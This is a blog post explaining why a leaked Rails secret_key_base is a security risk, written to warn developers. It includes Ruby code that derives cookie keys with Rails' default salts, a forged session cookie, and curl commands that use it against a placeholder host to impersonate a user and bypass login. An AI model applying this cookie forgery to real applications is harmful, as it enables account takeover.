I was recently asked what is secret key base used for in Rails applications and why not secure value of it (or even worse - the public one!) creates a security issue. That was a really good question, I remember how it was a serious threat years ago, especially before introducing secrets.yml in Rails 4.1 - at that time by default secret_token initializer was generated and the secret key was directly stored there. The result was that in many open source projects secret key was publicly available creating a great security risk. Let's take a look how exposed secret key base could be exploited.

Anatomy of possible attack

Imagine that current_user lookup in some application is performed like this:

def current_user
  @current_user ||= User.find(session[:user_id]) if session[:user_id].present?

Using user_id for storing id of the logged in user seems like an obvious choice. If I knew the secret key base, I could try encrypting the following hash:

malicious_hash = {user_id: 10, session_id: "123abc"}

and send carefully crafted cookie pretending that I'm logged in as the user with id 10! The question is: how would I do it? Ok, maybe I have a secret key base, but what exactly should be done with it? What are the necessary steps to generate such a cookie that will be successfully decrypted later by Rails application?

I was browsing through Rails source code and here's what I've come up with:

def generate_encrypted_cookie(data_hash, secret_key_base)
  # inspired by https://github.com/rails/rails/blob/v4.2.6/actionpack/test/dispatch/cookies_test.rb#L595 and https://github.com/rails/rails/blob/v4.2.6/actionpack/lib/action_dispatch/middleware/cookies.rb#L527
  salt = "encrypted cookie" # default value from Rails.application.config.action_dispatch.encrypted_cookie_salt
  signed_salt = "signed encrypted cookie" # default value from Rails.application.config.action_dispatch.encrypted_signed_cookie_salt
  key_generator = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000) # based on https://github.com/rails/rails/blob/v4.2.6/railties/lib/rails/application.rb#L179

  secret = key_generator.generate_key(salt)
  sign_secret = key_generator.generate_key(signed_salt)

  encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)

This is basically how Rails handles encrypting the session data. The last thing we are missing is session store key, which is not really a secret value, you can get one simply by using curl:

curl -I http://hack-me.dev

And one of the headers will be in the following format:

Set-Cookie: _HackMe_session=asj7dli45a43f8rjm67djst; path=/; secure; HttpOnly

_HackMe_session is our missing puzzle. Let's try creating encrypted cookie based on our malicious_hash and exposed secret_key_base:

generate_encrypted_cookie(malicious_hash, secret_key_base)
=> "dU9WQzF5RzVXdGNOcks1NGlMd3pTcTZINVdvYVNtampxZndUR2E2MmpZeTZ4MjFrWnYwKzJ3T1ladVdla250ci0tY1oxQkdnWUcrUWprZTZsMnZTbGdoUT09--b6dfdafc2456fb174239deb428fdee80a0cfe8f3"

Assuming that there is some page requiring authentication which redirects to login page if user is not logged in, there are 2 possible scenarios: either user is authenticated and 200 HTTP code is returned or user is redirected with 302 status. To pretend that we are logged in we could perform the following request:

curl -I http://hack-me.dev/page-requiring-authentication --cookie "_HackMe_session=dU9WQzF5RzVXdGNOcks1NGlMd3pTcTZINVdvYVNtampxZndUR2E2MmpZeTZ4MjFrWnYwKzJ3T1ladVdla250ci0tY1oxQkdnWUcrUWprZTZsMnZTbGdoUT09--b6dfdafc2456fb174239deb428fdee80a0cfe8f3"

As a result you should see HTTP/1.1 200 OK, which means you've successfully bypassed authentication :).

Wrapping up

As you now know, having secure and securely stored secret key base is an essential thing for the security of the app. Rails applications are now much more secure by default than it used to be and seems that accidentally exposing secret key base is not likely to happen. Nevertheless, it is still a very important thing to be aware of.

posted in: Rails, Ruby on Rails, Security